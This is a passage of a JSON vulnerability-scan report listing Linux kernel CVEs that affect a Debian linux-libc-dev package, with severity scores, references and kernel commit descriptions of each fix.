"https://linux.oracle.com/cve/CVE-2026-89524.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89524", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89524" ], "PublishedDate": "2026-09-11T20:19:35.137Z", "LastModifiedDate": "2026-10-19T09:17:46.873Z" }, { "VulnerabilityID": "CVE-2026-89526", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89526", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a36cc193d067e16dc2bb795196f44aaade94e56606ffcbdab2bbdd8c4cb5f8e", "Title": "kernel: svcrdma: Validate Read chunk positions before reconstruction", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Validate Read chunk positions before reconstruction\n\nThe RPC/RDMA Read chunk position field is supplied by the remote\nclient and stored verbatim in the parsed chunk list.\nxdr_count_read_segments() checks only 4-byte alignment; it never\ncompares the position against the received inline body length.\n\nIn the single-chunk path, svc_rdma_read_complete_one() splits the\nhead and tail kvecs at ch_position. A position past the inline\nbody underflows the tail length, exposing adjacent slab memory to\nthe upper XDR decoder.\n\nIn the multi-chunk path, svc_rdma_read_multiple_chunks() computes\ngap lengths between chunks as unsigned subtractions from\nch_position. Overlapping Read chunks cause these subtractions to\nunderflow. A final position past the inline body likewise\nunderflows the trailing gap length. svc_rdma_copy_inline_range()\nthen copies past the receive buffer into request pages that are\nreturned to the client through the Reply channel.\n\nBound inline-range copies in svc_rdma_copy_inline_range() against\nthe decoded inline RPC body saved in rc_saved_arg. Reject a\nsingle Read chunk positioned beyond that body, and reject\nmulti-chunk lists where accumulated read bytes exceed the next\nchunk's position. Apply the same position and overlap checks in\nthe call-chunk interleaving path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-89526", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89526.mbox", "https://git.kernel.org/stable/c/3779b7b9e7d1c8ba4738f9d327de3b0288cefe9b", "https://git.kernel.org/stable/c/3861eeabaebe243050952b34063763527c44e1fe", "https://git.kernel.org/stable/c/577097455d084610fc31e91e6a61c5793b6f04ba", "https://git.kernel.org/stable/c/5ab3f6d882fe07ae5e61d0bcfeea00b9409155c2", "https://git.kernel.org/stable/c/6388f2ed36c10f59d926735b92c2b152d2c635e5", "https://git.kernel.org/stable/c/f84ec84d8d4bc65f9ae23372570349687f66fa39", "https://linux.oracle.com/cve/CVE-2026-89526.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89526", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89526" ], "PublishedDate": "2026-09-11T20:19:35.383Z", "LastModifiedDate": "2026-10-30T13:20:18.373Z" }, { "VulnerabilityID": "CVE-2026-89530", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b22a26fd1012b3efa019aa2350ad2fad8749370bf748295f30bb3c8236fc332c", "Title": "kernel: svcrdma: Reject inline replies that overflow the pull-up buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: Reject inline replies that overflow the pull-up buffer\n\nAn RPC-over-RDMA client can request a reply, such as an NFS READ\npayload, without providing a Write list or a Reply chunk to carry\nit. When such a reply needs more scatter/gather entries than the\ndevice's Send Queue supports, svc_rdma_pull_up_needed() selects\npull-up and svc_rdma_pull_up_reply_msg() linearizes the whole\nreply into sctxt-\u003esc_xprt_buf. That buffer is only sc_max_req_size\nbytes, while the reply on this path is bounded only by the client's\nrequest, so svc_rdma_xb_linearize() copies past the end of the\nbuffer and corrupts adjacent slab memory. The oversized length is\nthen stored in sc_sges[0].length and posted, so the device also\nreads beyond the mapped region.\n\nThe SGE-exhaustion branch is the only pull-up path that can exceed\nthe buffer: the threshold branch pulls up only replies smaller\nthan RPCRDMA_PULLUP_THRESH, and replies that fit the device's SGE\nbudget are sent directly without linearization. Make\nsvc_rdma_pull_up_needed() report -E2BIG when the reply it would\npull up cannot fit sc_max_req_size, and fail the request with\nERR_CHUNK as RFC 8166 Section 4.5.3 directs rather than dropping\nthe connection.\n\nThe helper no longer answers a simple yes/no question: it now\nreports pull-up, no pull-up, or -E2BIG for a reply too large to\nlinearize. Rename svc_rdma_pull_up_needed() to\nsvc_rdma_check_pull_up() so its name no longer implies a boolean\npredicate.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89530", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/0fbe20dfe74b783d255bf389a6ea77aa25dc7860%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89530.mbox", "https://git.kernel.org/stable/c/0fbe20dfe74b783d255bf389a6ea77aa25dc7860", "https://git.kernel.org/stable/c/1949dd1576f7a8aa161b1330c6125df9d53046d5", "https://git.kernel.org/stable/c/8068358f445a11296328ffa7c524701596814a17", "https://git.kernel.org/stable/c/8ec60eb51fae37cd3d334ff26e4a7d6fb21ff7cf", "https://git.kernel.org/stable/c/b73011049dbe909f73fd9620d94ef1757d7af2eb", "https://git.kernel.org/stable/c/fcd91b9957462d398792201c239dffaeff1cc8b2", "https://linux.oracle.com/cve/CVE-2026-89530.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89530", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89530" ], "PublishedDate": "2026-09-11T20:19:35.85Z", "LastModifiedDate": "2026-10-30T13:20:18.853Z" }, { "VulnerabilityID": "CVE-2026-89545", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89545", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e7eb337f0657fe0d8167f79a3a9dce1c04f2c2ace3beb4c747aeb094975f384", "Title": "kernel: sunrpc: defer rq_argp and rq_resp free until after RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: defer rq_argp and rq_resp free until after RCU grace period\n\nsvc_rqst_free() frees rqstp-\u003erq_argp and rqstp-\u003erq_resp synchronously\nvia kfree(), but defers the rqstp struct free via kfree_rcu(). After\nsvc_exit_thread() calls list_del_rcu() and svc_rqst_free(), there is\na window where RCU readers that started before list_del_rcu() can still\ntraverse the thread list and find the rqstp. These readers (e.g.\nnfsd_nl_rpc_status_get_dumpit()) dereference rqstp-\u003erq_argp, which has\nalready been freed — a use-after-free.\n\nFix this by moving the kfree of rq_argp and rq_resp into an explicit\ncall_rcu() callback alongside the struct free. Resources not accessed\nby RCU readers (bvec, buffer pages, scratch folio, auth_data) remain\nsynchronously freed.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89545", "https://access.redhat.com/security/cve/CVE-2026-89545", "https://git.kernel.org/linus/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89545.mbox", "https://git.kernel.org/stable/c/08bc49e0541260bf294962cf889a32a2d2713ad6", "https://git.kernel.org/stable/c/0ea49d69aa806008b2424c8cf21cf746b9963967", "https://git.kernel.org/stable/c/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf", "https://git.kernel.org/stable/c/c977158237bccc3d2512d5b17c47ee3760dc8839", "https://git.kernel.org/stable/c/e0c5693d3f9a5d4911735ab0e0eba4eecb1f1090", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-wc7hjetb1xrq.toml", "https://linux.oracle.com/cve/CVE-2026-89545.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89545", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89545" ], "PublishedDate": "2026-09-11T20:19:37.84Z", "LastModifiedDate": "2026-10-30T13:20:21.04Z" }, { "VulnerabilityID": "CVE-2026-89563", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89563", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff0d145881859b1ec4db8ed1156f29ca7831ad7ade356a637c83728e276dbc46", "Title": "kernel: ip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()\n\nip6_tnl_xmit() may need to expand headroom before it can push the\nouter IPv6 and optional encap headers. It currently does that with\nskb_realloc_headroom(), copies skb-\u003esk ownership, consumes the original\nskb, and then continues processing with the replacement skb kept only in\nits local variable.\n\nThat is safe only if the helper cannot fail afterwards. But this helper\nstill has post-reallocation error exits. collect_md tunnels reject\nnon-NONE encap after the replacement, and ip6_tnl_encap() can also fail\nlater. In those cases the helper returns an error to its callers while\nthe caller still only has the original skb pointer.\n\nBoth ip6_tnl_start_xmit() and the IPv6 GRE paths free the caller skb on\nerror, so they can end up freeing an skb that ip6_tnl_xmit() already\nconsumed.\n\nUse skb_cow_head() instead. It provides the required headroom and\nwritability without privately replacing the caller-owned skb, so later\nerror returns cannot leave callers with a stale pointer.\n\nThe Ethernet users, ip6gretap and ip6erspan, clear IFF_TX_SKB_SHARING\nand already call skb_cow_head() before entering ip6_tnl_xmit(). They do\nnot rely on the removed skb_shared() reallocation. This also makes the\nIPv6 tunnel path consistent with ip_tunnel_xmit().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89563", "https://git.kernel.org/linus/87f21b59ddc618eff9670c174842964ad65fdade%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89563.mbox", "https://git.kernel.org/stable/c/37df5bc6b5ccad88c2faa0f5466f150178882b74", "https://git.kernel.org/stable/c/629d5557e635cdbc109a14ed913ba5a540e3f79a", "https://git.kernel.org/stable/c/6e8eff8ed13b14708bc39f170144eacde494aac6", "https://git.kernel.org/stable/c/87f21b59ddc618eff9670c174842964ad65fdade", "https://git.kernel.org/stable/c/8fc56ca49fc0ee1725b55c67bb43ab0dd01f3f52", "https://git.kernel.org/stable/c/b36dfd6e8cff00cea81c11cc0af88d1564763461", "https://git.kernel.org/stable/c/dc1a319a4815c074914e2812e0e9cd0164ca682b", "https://git.kernel.org/stable/c/defa0adeff132cc90ed66915b9a104d9393e1e54", "https://linux.oracle.com/cve/CVE-2026-89563.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89563", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89563" ], "PublishedDate": "2026-09-11T20:19:40.193Z", "LastModifiedDate": "2026-10-19T09:17:52.04Z" }, { "VulnerabilityID": "CVE-2026-89564", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89564", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18dc2036c3ab020f3229a68ce1a8ac8e7659c668891c4fcd744c57275b06d5ff", "Title": "kernel: ip: orphan prefetched skbs before multicast forwarding", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip: orphan prefetched skbs before multicast forwarding\n\nIPv4 and IPv6 input preserve an skb-\u003esk association installed by\nbpf_sk_assign() so that local delivery can use the selected socket under\nRCU. Both address families can also prefetch a socket in UDP early demux.\nIn both paths (BPF and UDP early demux) a reference is not guaranteed to\nbe held on the socket.\n\nWhen a multicast packet is not locally deliverable, IPv6 hands the\noriginal skb to ip6_mr_input(). IPv4's ip_mr_input() similarly keeps the\noriginal skb when local delivery is not needed. Either path can put the\nskb on an unresolved multicast route queue or forward it after the\nreceive-side RCU section ends.\n\nAfter the prefetched socket is destroyed, a later skb free invokes\nsock_pfree() and dereferences the stale skb-\u003esk. Orphan the skb before\neach non-local multicast forwarding path. Local delivery retains the\noriginal skb; the existing skb_clone() calls provide multicast forwarding\nwith a socket-free clone.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89564", "https://access.redhat.com/security/cve/CVE-2026-89564", "https://git.kernel.org/linus/e36ce6e78fe3fc3c071a26750783b7ba081ce10d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89564.mbox", "https://git.kernel.org/stable/c/592b91f41d4f35e37c9e0be1c46a4c28437642cd", "https://git.kernel.org/stable/c/882212d317a7c16ab70d20656f6b1c42abada9f6", "https://git.kernel.org/stable/c/a8af6fbac895f057c4b8ff8a2e3fb4c5827fe4ce", "https://git.kernel.org/stable/c/e36ce6e78fe3fc3c071a26750783b7ba081ce10d", "https://git.kernel.org/stable/c/e62aef7d6a5b27569bf540bbe11a9482117ff588", "https://git.kernel.org/stable/c/f1281d4b99089fbaf0d3579bba62a814ebb4de4d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-re4bg644ex6l.toml", "https://linux.oracle.com/cve/CVE-2026-89564.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89564", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89564" ], "PublishedDate": "2026-09-11T20:19:40.313Z", "LastModifiedDate": "2026-10-30T13:20:21.897Z" }, { "VulnerabilityID": "CVE-2026-89569", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c69558ee8470c0ae2d71f758384ac639ecc5eacc0a2d79a1dcfe9985eb26eeb2", "Title": "kernel: Bluetooth: RFCOMM: serialize security confirmation handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: RFCOMM: serialize security confirmation handling\n\nrfcomm_security_cfm() looks up a session on session_list and then walks\nits DLC list without holding rfcomm_mutex. Since RFCOMM session teardown\nuses rfcomm_mutex, krfcommd can close and free the same session and DLCs\nconcurrently:\n\n hci_rx_work krfcommd\n ----------- ---------\n rfcomm_session_get()\n rfcomm_lock()\n rfcomm_session_close()\n rfcomm_dlc_unlink()\n rfcomm_session_del()\n kfree(s)\n rfcomm_unlock()\n walk s-\u003edlcs\n\nThe callback can then read a freed session list head and touch freed DLCs\nwhile updating their flags or timers.\n\nSerialize the session lookup and DLC traversal in rfcomm_security_cfm()\nwith rfcomm_mutex. This matches the existing RFCOMM session lifetime\nrules and prevents concurrent rfcomm_session_del() / rfcomm_dlc_unlink()\nfrom tearing the objects down while the callback is using them.\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in rfcomm_security_cfm+0x41c/0x440\n Read of size 8 at addr ffff888111fb3960 by task kworker/u17:1/89\n Workqueue: hci0 hci_rx_work\n Call Trace:\n rfcomm_security_cfm+0x41c/0x440\n hci_encrypt_cfm+0x139/0x590\n hci_encrypt_change_evt+0x37b/0xc40\n hci_event_packet+0x71b/0xb20\n hci_rx_work+0x293/0x730\n Allocated by task 69:\n rfcomm_session_add+0x9e/0x2f0\n rfcomm_run+0x44b/0x41e0\n Freed by task 69:\n kfree+0x131/0x3c0\n rfcomm_session_del+0x188/0x220\n rfcomm_run+0x1985/0x41e0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89569", "https://git.kernel.org/linus/759c185d0bbdb131357408f50b8735e04ed3caff%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89569.mbox", "https://git.kernel.org/stable/c/1b7841ffad08e911e8c4b9470f3fa08423568940", "https://git.kernel.org/stable/c/3873f3449701b3dc98cba577923be6493598e7a1", "https://git.kernel.org/stable/c/62ce8b33eb238cf18c15207332fbdc26d858f592", "https://git.kernel.org/stable/c/759c185d0bbdb131357408f50b8735e04ed3caff", "https://git.kernel.org/stable/c/7ded3264106418c6456ccceaafd9fda596ce12c3", "https://git.kernel.org/stable/c/82425b14f0fb22e46cfddc56d6465570f5ed0ce6", "https://git.kernel.org/stable/c/946d76db77ee5f922968ce558629ae47b381e3fc", "https://git.kernel.org/stable/c/fbf7961964a6e93360179f64712320ae9a1e9577", "https://linux.oracle.com/cve/CVE-2026-89569.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89569", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89569" ], "PublishedDate": "2026-09-11T20:19:40.92Z", "LastModifiedDate": "2026-10-19T09:17:52.73Z" }, { "VulnerabilityID": "CVE-2026-89607", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89607", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c5f6d4818bc0a6af6ad3dae94f03a3f474e428057d35322d73eb1ac8e4f1f96", "Title": "kernel: ecryptfs: reject oversized encrypted_key_size in parse_tag_3_packet", "Description": "In the Linux kernel, the 